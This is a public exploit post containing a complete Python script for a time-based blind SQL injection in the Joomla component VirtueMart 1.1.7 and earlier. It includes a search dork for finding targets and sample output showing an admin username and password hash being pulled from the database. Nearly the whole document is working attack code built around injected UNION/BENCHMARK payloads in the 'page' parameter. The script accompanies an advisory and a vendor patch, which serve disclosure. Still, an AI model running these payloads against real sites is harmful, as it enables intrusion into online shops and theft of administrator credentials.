Joomla! Component com_virtuemart 1.1.7 – Blind SQL Injection
#!/usr/bin/python # # Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit. # Found by: TecR0c & mr_me # Discovery date: 11/2/2011 # Code by: mr_me # Vendor: http://virtuemart.net/ # Download: http://virtuemart.net/downloads # Dork: inurl:"?option=com_virtuemart" > 46 million results # Patch: http://dev.virtuemart.net/attachments/202/Patch-VirtueMart-1.1.7a.zip # References: # - http://www.stratsec.net/Research/Advisories/VirtueMart-SQL-Injection-(SS-2011-003) # - http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18 # # "The more you educate yourself the more you understand where things come from the more obvious things become # and you begin to see lies everywhere. You have to know the truth and seek the truth and the truth will set you free." # - zeitgeist addendum # # Description: # ============ # With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online # and drive your Business to new Heights. Despite being Open Source Software it powers large # Online Shops providing the Performance, Usability and Security you expect from professional Software. # # Explantation: # ============= # There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component. # Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false # statements. This of course will send an enormous number of queries the target. During testing, 9145 # queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version # of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the # timings of benchmark and time to last byte (ttlb). # # Tested on Joomla v1.5.22 with virtuemart: # ========== # - v1.1.7 # - v1.1.6 # - v1.1.4 # # [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/ # # | ------------------------------------------------------------------- | # | Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit | # | by mr_me - net-ninja.net ------------------------------------------ | # # (+) PoC started on Sat Feb 12 17:26:15 2011 # (+) Exploiting target @: http://192.168.1.7/webapps/joomla/ # (+) Testing proxy @ localhost:8080.. proxy is found to be working! # (+) Using time based SQL Injection. # (+) This will take time, go grab a coffee.. # # (!) Getting database version: 5.1.41-3ubuntu12.9 # (!) Getting database user: root@localhost # (!) Getting database name: joomla # (!) Getting Joomla admin: admin:eb970f9dfca9d7353083ab37cf097e21:pL356HEW2hfl88NWuFpgjLDfy2gKwIHR # (+) PoC finished on Sat Feb 12 18:38:05 2011 # import sys, urllib, urllib2, re, time from optparse import OptionParser # just printable ascii please lower_value = 32 upper_value = 126 vuluri = "index.php?option=com_virtuemart&page%3d-1" basicInfo = {'version':'@@version', 'user':'user()', 'name':'database()'} usage = "./%prog [<options>] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server <server:port>") parser.add_option("-d", type="string", action="store", dest="directory", help="Directory path to the CMS") (options, args) = parser.parse_args() def banner(): print "\n\t| ------------------------------------------------------------------- |" print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |" print "\t| by mr_me - net-ninja.net ------------------------------------------ |\n" if len(sys.argv) < 4: banner() parser.print_help() sys.exit(1) def timer(): now = time.localtime(time.time()) return time.asctime(now) def testProxy(): check = 1 sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy)) sys.stdout.flush() try: req = urllib2.Request("http://www.google.com/") req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req) except: check = 0 pass if check != 0: sys.stdout.write("proxy is found to be working!\n") sys.stdout.flush() else: print "proxy failed, exiting.." sys.exit(1) def getServerResponse(exploit): try: uri = "http://"+options.target+options.directory+exploit request = urllib2.Request(uri) if options.proxy: request.set_proxy(options.proxy, "http") start = time.time() resp = urllib2.urlopen(request) check = resp.read() ttlb = time.time() - start except urllib.error.HTTPError, error: check = error.read() except socket.error: print "(-) Proxy connection failed" sys.exit(1) return check, ttlb def getBasicDbInfo(basicInfo, key, limit): for i in range(1,limit): for j in range(lower_value,upper_value): request = (vuluri + "'+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page" % (basicInfo[key],str(i),str(j))) try: resp, ttlb = getServerResponse(request) except: print "\n(-) Exiting.." sys.exit(1) if ttlb >= 3.5: sys.stdout.write("%s" % (chr(j))) sys.stdout.flush() break def getJosUser(selectStmt, limit): for i in range(1,limit): for j in range(lower_value,upper_value): request = (vuluri + "'+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page" % (selectStmt,str(i),str(j))) resp, ttlb = getServerResponse(request) if ttlb >= 3.5: sys.stdout.write("%s" % (chr(j))) sys.stdout.flush() break def doBlindSqlInjection(): print "(+) Using time based SQL Injection." print "(+) This will take time, go grab a coffee.." for key in basicInfo: sys.stdout.write("\n(!) Getting database %s: " % (key)) sys.stdout.flush() for i in range(1,50): request = (vuluri + "'+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page" % (basicInfo[key],str(i))) try: resp, ttlb = getServerResponse(request) except: print "\n(-) Exiting.." sys.exit(1) if ttlb >= 3.5: break getBasicDbInfo(basicInfo, key, i+1) sys.stdout.write("\n(!) Getting Joomla admin: ") sys.stdout.flush() for i in range(1,100): lengthOfAdminString = "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)" request = (vuluri + "'+union+select+if(%s=%s,BENCHMARK(5000000,MD5('x')),NULL)--+junk.page" % (lengthOfAdminString,str(i))) try: resp, ttlb = getServerResponse(request) except: print "\n(-) Exiting.." sys.exit(1) if ttlb >= 3.5: break getJosStmt = "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)" getJosUser(getJosStmt, i+1) if __name__ == "__main__": banner() print "(+) PoC started on %s" % (timer()) print "(+) Exploiting target @: http://%s" % (options.target+options.directory) if options.proxy: testProxy() doBlindSqlInjection() print "\n(+) PoC finished on %s" % (timer()) |